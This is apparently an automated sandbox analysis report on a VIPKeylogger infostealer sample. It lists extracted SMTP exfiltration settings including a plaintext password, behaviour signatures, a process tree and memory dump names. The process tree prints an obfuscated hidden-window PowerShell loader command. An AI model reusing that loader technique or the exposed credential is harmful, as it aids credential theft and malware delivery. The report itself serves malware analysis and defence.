Analysis
- max time kernel
143s - max time network
141s - platform
windows10-2004_x64 - resource
win10v2004-20241007-en - resource tags
- submitted
20/10/2024, 02:27
General
- Target 80fec3abccd1b92402ee722616dff2605fd5132d9b208d5069c47389247de6dd.exe
- Size 738KB
- Sample241020-cxhw2stdpb
- SHA256 80fec3abccd1b92402ee722616dff2605fd5132d9b208d5069c47389247de6dd
Malware Config
Extracted
-
vipkeylogger
-
Protocol
smtp
-
Host
smtp.ionos.fr
-
Port
587
-
Username
-
Password
Rajahsouthfruits5
-
Email to
Signatures
- VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs
- Blocklisted process makes network request 16 IoCs
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
- Drops file in Windows directory 1 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 21 IoCs
- Suspicious behavior: MapViewOfSection 2 IoCs
- Suspicious use of AdjustPrivilegeToken 46 IoCs
- Suspicious use of WriteProcessMemory 14 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\80fec3abccd1b92402ee722616dff2605fd5132d9b208d5069c47389247de6dd.exe"C:\Users\Admin\AppData\Local\Temp\80fec3abccd1b92402ee722616dff2605fd5132d9b208d5069c47389247de6dd.exe"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Outbabbled=Get-Content -raw 'C:\Users\Admin\AppData\Local\Temp\superincomprehensible\Chymes.Ari';$Peract=$Outbabbled.SubString(52410,3);.$Peract($Outbabbled)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Accesses Microsoft Outlook profiles
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Outbabbled=Get-Content -raw 'C:\Users\Admin\AppData\Local\Temp\superincomprehensible\Chymes.Ari';$Peract=$Outbabbled.SubString(52410,3);.$Peract($Outbabbled)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Accesses Microsoft Outlook profiles
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
05DDC6AA91765AACACDB0A5F96DF8199
24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA
4FA45AE1010E09657982D8D28B3BD38E_B60DAD4239F8DBB7FDA230724F9F9DFD
DDE8B1B7E253A9758EC380BD648952AF_3459237E893F04A4596206DC25825D64
05DDC6AA91765AACACDB0A5F96DF8199
24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA
24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA
4FA45AE1010E09657982D8D28B3BD38E_B60DAD4239F8DBB7FDA230724F9F9DFD
DDE8B1B7E253A9758EC380BD648952AF_3459237E893F04A4596206DC25825D64
__PSScriptPolicyTest_ruull40i.hev.ps1
80fec3abccd1b92402ee722616dff2605fd5132d9b208d5069c47389247de6dd.exe
Chymes.Ari
Magnetiseringer.Mil228
memory/2792-120-0x0000000000C80000-0x0000000000CC8000-memory.dmp
memory/2792-117-0x0000000000C80000-0x0000000001ED4000-memory.dmp
memory/2792-119-0x0000000000C80000-0x0000000001ED4000-memory.dmp
memory/3404-115-0x00000000010D0000-0x0000000001118000-memory.dmp
memory/3404-114-0x00000000010D0000-0x0000000002324000-memory.dmp
memory/3404-116-0x0000000021C30000-0x0000000021CCC000-memory.dmp
memory/3404-123-0x00000000228C0000-0x0000000022A82000-memory.dmp
memory/3404-124-0x0000000022030000-0x0000000022080000-memory.dmp
memory/3404-125-0x0000000022790000-0x0000000022822000-memory.dmp
memory/3404-126-0x0000000022100000-0x000000002210A000-memory.dmp
memory/4008-38-0x0000000006630000-0x0000000006652000-memory.dmp
memory/4008-24-0x0000000006120000-0x000000000616C000-memory.dmp
memory/4008-57-0x000000006FBB0000-0x000000006FF04000-memory.dmp
memory/4008-7-0x0000000004AB0000-0x0000000004AE6000-memory.dmp
memory/4008-68-0x00000000076D0000-0x00000000076FA000-memory.dmp
memory/4008-69-0x0000000007700000-0x0000000007724000-memory.dmp
memory/4008-8-0x00000000735C0000-0x0000000073D70000-memory.dmp
memory/4008-9-0x0000000005120000-0x0000000005748000-memory.dmp
memory/4008-74-0x0000000008A80000-0x000000000A33B000-memory.dmp
memory/4008-77-0x00000000735C0000-0x0000000073D70000-memory.dmp
memory/4008-76-0x00000000735CE000-0x00000000735CF000-memory.dmp
memory/4008-78-0x00000000735C0000-0x0000000073D70000-memory.dmp
memory/4008-10-0x00000000050A0000-0x00000000050C2000-memory.dmp
memory/4008-80-0x00000000735C0000-0x0000000073D70000-memory.dmp
memory/4008-11-0x0000000005980000-0x00000000059E6000-memory.dmp
memory/4008-12-0x00000000059F0000-0x0000000005A56000-memory.dmp
memory/4008-22-0x0000000005CD0000-0x0000000006024000-memory.dmp
memory/4008-23-0x00000000060D0000-0x00000000060EE000-memory.dmp
memory/4008-41-0x0000000008400000-0x0000000008A7A000-memory.dmp
memory/4008-37-0x00000000065D0000-0x00000000065EA000-memory.dmp
memory/4008-39-0x00000000077D0000-0x0000000007D74000-memory.dmp
memory/4008-6-0x00000000735CE000-0x00000000735CF000-memory.dmp
memory/4008-36-0x0000000007180000-0x0000000007216000-memory.dmp
memory/4008-56-0x000000006FA50000-0x000000006FA9C000-memory.dmp
memory/4252-25-0x00000000735C0000-0x0000000073D70000-memory.dmp
memory/4252-26-0x00000000735C0000-0x0000000073D70000-memory.dmp
memory/4252-42-0x0000000007550000-0x0000000007582000-memory.dmp
memory/4252-43-0x000000006FA50000-0x000000006FA9C000-memory.dmp
memory/4252-44-0x000000006FBB0000-0x000000006FF04000-memory.dmp
memory/4252-81-0x00000000735C0000-0x0000000073D70000-memory.dmp
memory/4252-79-0x00000000735C0000-0x0000000073D70000-memory.dmp
memory/4252-54-0x0000000007590000-0x00000000075AE000-memory.dmp
memory/4252-55-0x00000000075C0000-0x0000000007663000-memory.dmp
memory/4252-67-0x00000000076C0000-0x00000000076CA000-memory.dmp